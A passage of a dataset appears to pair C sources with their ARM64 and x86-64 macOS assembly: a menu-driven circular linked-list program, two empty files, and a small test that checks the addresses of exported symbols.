str x8, [sp]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldr x8, [x8, #8]
adrp x9, _start@PAGE
ldr x9, [x9, _start@PAGEOFF]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
ldr x8, [sp]
ldr x8, [x8, #8]
str x8, [sp]
b LBB0_1
LBB0_3:
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _add ; -- Begin function add
.p2align 2
_add: ; @add
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
mov x0, #16
bl _malloc
str x0, [sp, #16]
ldur w8, [x29, #-4]
ldr x9, [sp, #16]
str w8, [x9]
ldr x8, [sp, #16]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
adrp x8, _start@PAGE
ldr x8, [x8, _start@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldr x9, [sp, #16]
adrp x8, _start@PAGE
str x9, [x8, _start@PAGEOFF]
ldr x8, [x8, _start@PAGEOFF]
ldr x9, [sp, #16]
str x8, [x9, #8]
b LBB1_6
LBB1_2:
adrp x8, _start@PAGE
ldr x8, [x8, _start@PAGEOFF]
str x8, [sp, #8]
b LBB1_3
LBB1_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
adrp x9, _start@PAGE
ldr x9, [x9, _start@PAGEOFF]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB1_3
LBB1_5:
ldr x8, [sp, #16]
ldr x9, [sp, #8]
str x8, [x9, #8]
adrp x8, _start@PAGE
ldr x8, [x8, _start@PAGEOFF]
ldr x9, [sp, #16]
str x8, [x9, #8]
b LBB1_6
LBB1_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _insertBeg ; -- Begin function insertBeg
.p2align 2
_insertBeg: ; @insertBeg
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
mov x0, #16
bl _malloc
str x0, [sp, #16]
ldur w8, [x29, #-4]
ldr x9, [sp, #16]
str w8, [x9]
adrp x8, _start@PAGE
ldr x8, [x8, _start@PAGEOFF]
str x8, [sp, #8]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
adrp x9, _start@PAGE
ldr x9, [x9, _start@PAGEOFF]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_3
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB2_1
LBB2_3:
ldr x8, [sp, #16]
ldr x9, [sp, #8]
str x8, [x9, #8]
adrp x9, _start@PAGE
ldr x8, [x9, _start@PAGEOFF]
ldr x10, [sp, #16]
str x8, [x10, #8]
ldr x8, [sp, #16]
str x8, [x9, _start@PAGEOFF]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _insertPos ; -- Begin function insertPos
.p2align 2
_insertPos: ; @insertPos
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
adrp x8, _start@PAGE
ldr x8, [x8, _start@PAGEOFF]
str x8, [sp, #24]
mov w8, #1
str w8, [sp, #12]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #8]
adrp x9, _start@PAGE
ldr x9, [x9, _start@PAGEOFF]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB3_5
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB3_4
b LBB3_3
LBB3_3:
mov x0, #16
bl _malloc
stur x0, [x29, #-16]
ldur w8, [x29, #-4]
ldur x9, [x29, #-16]
str w8, [x9]
ldur x8, [x29, #-16]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
ldr x8, [sp, #16]
ldr x8, [x8, #8]
ldur x9, [x29, #-16]
str x8, [x9, #8]
ldur x8, [x29, #-16]
ldr x9, [sp, #16]
str x8, [x9, #8]
b LBB3_5
LBB3_4: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
ldr x8, [sp, #24]
str x8, [sp, #16]
ldr x8, [sp, #24]
ldr x8, [x8, #8]
str x8, [sp, #24]
b LBB3_1
LBB3_5:
ldr w8, [sp, #12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB3_8
b LBB3_6
LBB3_6:
ldr x8, [sp, #24]
ldr x8, [x8, #8]
adrp x9, _start@PAGE
ldr x9, [x9, _start@PAGEOFF]
subs x8, x8, x9
cset w8, ne
tbnz w8, #0, LBB3_8
b LBB3_7
LBB3_7:
mov x0, #16
bl _malloc
stur x0, [x29, #-16]
ldur w8, [x29, #-4]
ldur x9, [x29, #-16]
str w8, [x9]
ldur x8, [x29, #-16]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
ldr x8, [sp, #16]
ldr x8, [x8, #8]
ldur x9, [x29, #-16]
str x8, [x9, #8]
ldur x8, [x29, #-16]
ldr x9, [sp, #16]
str x8, [x9, #8]
b LBB3_8
LBB3_8:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _display ; -- Begin function display
.p2align 2
_display: ; @display
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _start@PAGE
ldr x8, [x8, _start@PAGEOFF]
str x8, [sp, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
adrp x9, _start@PAGE
ldr x9, [x9, _start@PAGEOFF]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_3
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB4_1
LBB4_3:
ldr x8, [sp, #8]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB5_1
LBB5_1: ; =>This Loop Header: Depth=1
; Child Loop BB5_5 Depth 2
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB5_3
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #12
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _scanf
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
ldur w0, [x29, #-12]
bl _add
b LBB5_21
LBB5_3: ; in Loop: Header=BB5_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, ne
tbnz w8, #0, LBB5_14
b LBB5_4
LBB5_4: ; in Loop: Header=BB5_1 Depth=1
bl _sizeofList
str w0, [sp, #12]
adrp x0, l_.str.10@PAGE
add x0, x0, l_.str.10@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #12
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _scanf
b LBB5_5
LBB5_5: ; Parent Loop BB5_1 Depth=1
; => This Inner Loop Header: Depth=2
adrp x0, l_.str.11@PAGE
add x0, x0, l_.str.11@PAGEOFF
bl _printf
mov x9, sp
add x8, sp, #16
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _scanf
ldr w8, [sp, #16]
subs w8, w8, #1
cset w8, ne
tbnz w8, #0, LBB5_7
b LBB5_6
LBB5_6: ; in Loop: Header=BB5_1 Depth=1
ldur w0, [x29, #-12]
bl _insertBeg
b LBB5_13
LBB5_7: ; in Loop: Header=BB5_5 Depth=2
ldr w8, [sp, #16]
ldr w9, [sp, #12]
add w9, w9, #1
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB5_9
b LBB5_8
LBB5_8: ; in Loop: Header=BB5_1 Depth=1
ldur w0, [x29, #-12]
bl _add
b LBB5_13
LBB5_9: ; in Loop: Header=BB5_5 Depth=2
ldr w8, [sp, #16]
subs w8, w8, #1
cset w8, lt
tbnz w8, #0, LBB5_11
b LBB5_10
LBB5_10: ; in Loop: Header=BB5_5 Depth=2
ldr w8, [sp, #16]
ldr w9, [sp, #12]
add w9, w9, #1
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB5_12
b LBB5_11
LBB5_11: ; in Loop: Header=BB5_5 Depth=2
b LBB5_5
LBB5_12: ; in Loop: Header=BB5_1 Depth=1
ldur w0, [x29, #-12]
ldr w1, [sp, #16]
bl _insertPos
b LBB5_13
LBB5_13: ; in Loop: Header=BB5_1 Depth=1
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
b LBB5_20
LBB5_14: ; in Loop: Header=BB5_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #3
cset w8, ne
tbnz w8, #0, LBB5_16
b LBB5_15
LBB5_15: ; in Loop: Header=BB5_1 Depth=1
bl _display
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _printf
b LBB5_19
LBB5_16: ; in Loop: Header=BB5_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB5_18
b LBB5_17
LBB5_17:
b LBB5_22
LBB5_18: ; in Loop: Header=BB5_1 Depth=1
b LBB5_19
LBB5_19: ; in Loop: Header=BB5_1 Depth=1
b LBB5_20
LBB5_20: ; in Loop: Header=BB5_1 Depth=1
b LBB5_21
LBB5_21: ; in Loop: Header=BB5_1 Depth=1
b LBB5_1
LBB5_22:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _start ; @start
.zerofill __DATA,__common,_start,8,3
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "START->"
l_.str.1: ; @.str.1
.asciz "%d->"
l_.str.2: ; @.str.2
.asciz "START"
l_.str.3: ; @.str.3
.asciz "Inserting & Traversing\n"
l_.str.4: ; @.str.4
.asciz "**********************\n\n"
l_.str.5: ; @.str.5
.asciz "1: Add\n2: Insert\n3: Display\n0: Exit\n\n"
l_.str.6: ; @.str.6
.asciz "Enter Choice : "
l_.str.7: ; @.str.7
.asciz "%d"
l_.str.8: ; @.str.8
.asciz "Enter Number : "
l_.str.9: ; @.str.9
.asciz "\n"
l_.str.10: ; @.str.10
.asciz "Enter Number : "
l_.str.11: ; @.str.11
.asciz "Enter Position : "
l_.str.12: ; @.str.12
.asciz "\n\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _sizeofList ## -- Begin function sizeofList
.p2align 4, 0x90
_sizeofList: ## @sizeofList
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, -4(%rbp)
movq _start(%rip), %rax
movq %rax, -16(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq -16(%rbp), %rax
movq 8(%rax), %rax
cmpq _start(%rip), %rax
je LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -16(%rbp)
jmp LBB0_1
LBB0_3:
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _add ## -- Begin function add
.p2align 4, 0x90
_add: ## @add
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -16(%rbp)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
movq -16(%rbp), %rax
movq $0, 8(%rax)
cmpq $0, _start(%rip)
jne LBB1_2
## %bb.1:
movq -16(%rbp), %rax
movq %rax, _start(%rip)
movq _start(%rip), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
jmp LBB1_6
LBB1_2:
movq _start(%rip), %rax
movq %rax, -24(%rbp)
LBB1_3: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
cmpq _start(%rip), %rax
je LBB1_5
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB1_3
LBB1_5:
movq -16(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
movq _start(%rip), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
LBB1_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _insertBeg ## -- Begin function insertBeg
.p2align 4, 0x90
_insertBeg: ## @insertBeg
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -16(%rbp)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
movq _start(%rip), %rax
movq %rax, -24(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
cmpq _start(%rip), %rax
je LBB2_3
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB2_1
LBB2_3:
movq -16(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
movq _start(%rip), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -16(%rbp), %rax
movq %rax, _start(%rip)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _insertPos ## -- Begin function insertPos
.p2align 4, 0x90
_insertPos: ## @insertPos
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq _start(%rip), %rax
movq %rax, -24(%rbp)
movl $1, -36(%rbp)
LBB3_1: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
cmpq _start(%rip), %rax
je LBB3_5
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movl -36(%rbp), %eax
cmpl -8(%rbp), %eax
jne LBB3_4
## %bb.3:
movl $16, %edi
callq _malloc
movq %rax, -16(%rbp)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
movq -16(%rbp), %rax
movq $0, 8(%rax)
movq -32(%rbp), %rax
movq 8(%rax), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -16(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, 8(%rax)
jmp LBB3_5
LBB3_4: ## in Loop: Header=BB3_1 Depth=1
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
movq -24(%rbp), %rax
movq %rax, -32(%rbp)
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB3_1
LBB3_5:
movl -36(%rbp), %eax
cmpl -8(%rbp), %eax
jne LBB3_8
## %bb.6:
movq -24(%rbp), %rax
movq 8(%rax), %rax
cmpq _start(%rip), %rax
jne LBB3_8
## %bb.7:
movl $16, %edi
callq _malloc
movq %rax, -16(%rbp)
movl -4(%rbp), %ecx
movq -16(%rbp), %rax
movl %ecx, (%rax)
movq -16(%rbp), %rax
movq $0, 8(%rax)
movq -32(%rbp), %rax
movq 8(%rax), %rcx
movq -16(%rbp), %rax
movq %rcx, 8(%rax)
movq -16(%rbp), %rcx
movq -32(%rbp), %rax
movq %rcx, 8(%rax)
LBB3_8:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _display ## -- Begin function display
.p2align 4, 0x90
_display: ## @display
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq _start(%rip), %rax
movq %rax, -8(%rbp)
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
LBB4_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movq 8(%rax), %rax
cmpq _start(%rip), %rax
je LBB4_3
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movq -8(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -8(%rbp)
jmp LBB4_1
LBB4_3:
movq -8(%rbp), %rax
movl (%rax), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
LBB5_1: ## =>This Loop Header: Depth=1
## Child Loop BB5_5 Depth 2
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
cmpl $1, -8(%rbp)
jne LBB5_3
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
leaq L_.str.8(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq _scanf
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
movl -12(%rbp), %edi
callq _add
jmp LBB5_21
LBB5_3: ## in Loop: Header=BB5_1 Depth=1
cmpl $2, -8(%rbp)
jne LBB5_14
## %bb.4: ## in Loop: Header=BB5_1 Depth=1
callq _sizeofList
movl %eax, -20(%rbp)
leaq L_.str.10(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
leaq -12(%rbp), %rsi
movb $0, %al
callq _scanf
LBB5_5: ## Parent Loop BB5_1 Depth=1
## => This Inner Loop Header: Depth=2
leaq L_.str.11(%rip), %rdi
movb $0, %al
callq _printf
leaq L_.str.7(%rip), %rdi
leaq -16(%rbp), %rsi
movb $0, %al
callq _scanf
cmpl $1, -16(%rbp)
jne LBB5_7
## %bb.6: ## in Loop: Header=BB5_1 Depth=1
movl -12(%rbp), %edi
callq _insertBeg
jmp LBB5_13
LBB5_7: ## in Loop: Header=BB5_5 Depth=2
movl -16(%rbp), %eax
movl -20(%rbp), %ecx
addl $1, %ecx
cmpl %ecx, %eax
jne LBB5_9
## %bb.8: ## in Loop: Header=BB5_1 Depth=1
movl -12(%rbp), %edi
callq _add
jmp LBB5_13
LBB5_9: ## in Loop: Header=BB5_5 Depth=2
cmpl $1, -16(%rbp)
jl LBB5_11
## %bb.10: ## in Loop: Header=BB5_5 Depth=2
movl -16(%rbp), %eax
movl -20(%rbp), %ecx
addl $1, %ecx
cmpl %ecx, %eax
jle LBB5_12
LBB5_11: ## in Loop: Header=BB5_5 Depth=2
jmp LBB5_5
LBB5_12: ## in Loop: Header=BB5_1 Depth=1
movl -12(%rbp), %edi
movl -16(%rbp), %esi
callq _insertPos
LBB5_13: ## in Loop: Header=BB5_1 Depth=1
leaq L_.str.9(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB5_20
LBB5_14: ## in Loop: Header=BB5_1 Depth=1
cmpl $3, -8(%rbp)
jne LBB5_16
## %bb.15: ## in Loop: Header=BB5_1 Depth=1
callq _display
leaq L_.str.12(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB5_19
LBB5_16: ## in Loop: Header=BB5_1 Depth=1
cmpl $0, -8(%rbp)
jne LBB5_18
## %bb.17:
jmp LBB5_22
LBB5_18: ## in Loop: Header=BB5_1 Depth=1
jmp LBB5_19
LBB5_19: ## in Loop: Header=BB5_1 Depth=1
jmp LBB5_20
LBB5_20: ## in Loop: Header=BB5_1 Depth=1
jmp LBB5_21
LBB5_21: ## in Loop: Header=BB5_1 Depth=1
jmp LBB5_1
LBB5_22:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _start ## @start
.zerofill __DATA,__common,_start,8,3
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "START->"
L_.str.1: ## @.str.1
.asciz "%d->"
L_.str.2: ## @.str.2
.asciz "START"
L_.str.3: ## @.str.3
.asciz "Inserting & Traversing\n"
L_.str.4: ## @.str.4
.asciz "**********************\n\n"
L_.str.5: ## @.str.5
.asciz "1: Add\n2: Insert\n3: Display\n0: Exit\n\n"
L_.str.6: ## @.str.6
.asciz "Enter Choice : "
L_.str.7: ## @.str.7
.asciz "%d"
L_.str.8: ## @.str.8
.asciz "Enter Number : "
L_.str.9: ## @.str.9
.asciz "\n"
L_.str.10: ## @.str.10
.asciz "Enter Number : "
L_.str.11: ## @.str.11
.asciz "Enter Position : "
L_.str.12: ## @.str.12
.asciz "\n\n"
.subsections_via_symbols
| the_stack_data/145270.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/165769222.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _check ; -- Begin function check
.p2align 2
_check: ; @check
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
str x2, [sp, #24]
ldur x8, [x29, #-8]
ldur x9, [x29, #-16]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
ldr x11, [sp, #24]
ldur x10, [x29, #-8]
ldur x8, [x29, #-16]
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
adrp x9, _errs@PAGE
ldr w8, [x9, _errs@PAGEOFF]
add w8, w8, #1
str w8, [x9, _errs@PAGEOFF]
b LBB0_2
LBB0_2:
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
adrp x0, _exported_func@GOTPAGE
ldr x0, [x0, _exported_func@GOTPAGEOFF]
mov x1, #512
movk x1, #256, lsl #16
adrp x2, l_.str.1@PAGE
add x2, x2, l_.str.1@PAGEOFF
bl _check
adrp x0, _exported_data@GOTPAGE
ldr x0, [x0, _exported_data@GOTPAGEOFF]
mov x1, #33554432
adrp x2, l_.str.2@PAGE
add x2, x2, l_.str.2@PAGEOFF
bl _check
adrp x8, _errs@PAGE
ldr w0, [x8, _errs@PAGEOFF]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "&%s is %8p, expected %08lx\n"
.zerofill __DATA,__bss,_errs,4,2 ; @errs
l_.str.1: ; @.str.1
.asciz "exported_func"
l_.str.2: ; @.str.2
.asciz "exported_data"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _check ## -- Begin function check
.p2align 4, 0x90
_check: ## @check
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movq -8(%rbp), %rax
movq -16(%rbp), %rcx
cmpq %rcx, %rax
je LBB0_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -24(%rbp), %rdx
movq -8(%rbp), %rcx
movq -16(%rbp), %r8
leaq L_.str(%rip), %rsi
movb $0, %al
callq _fprintf
movl _errs(%rip), %eax
addl $1, %eax
movl %eax, _errs(%rip)
LBB0_2:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movq _exported_func@GOTPCREL(%rip), %rdi
movl $16777728, %esi ## imm = 0x1000200
leaq L_.str.1(%rip), %rdx
callq _check
movq _exported_data@GOTPCREL(%rip), %rdi
movl $33554432, %esi ## imm = 0x2000000
leaq L_.str.2(%rip), %rdx
callq _check
movl _errs(%rip), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "&%s is %8p, expected %08lx\n"
.zerofill __DATA,__bss,_errs,4,2 ## @errs
L_.str.1: ## @.str.1
.asciz "exported_func"
L_.str.2: ## @.str.2
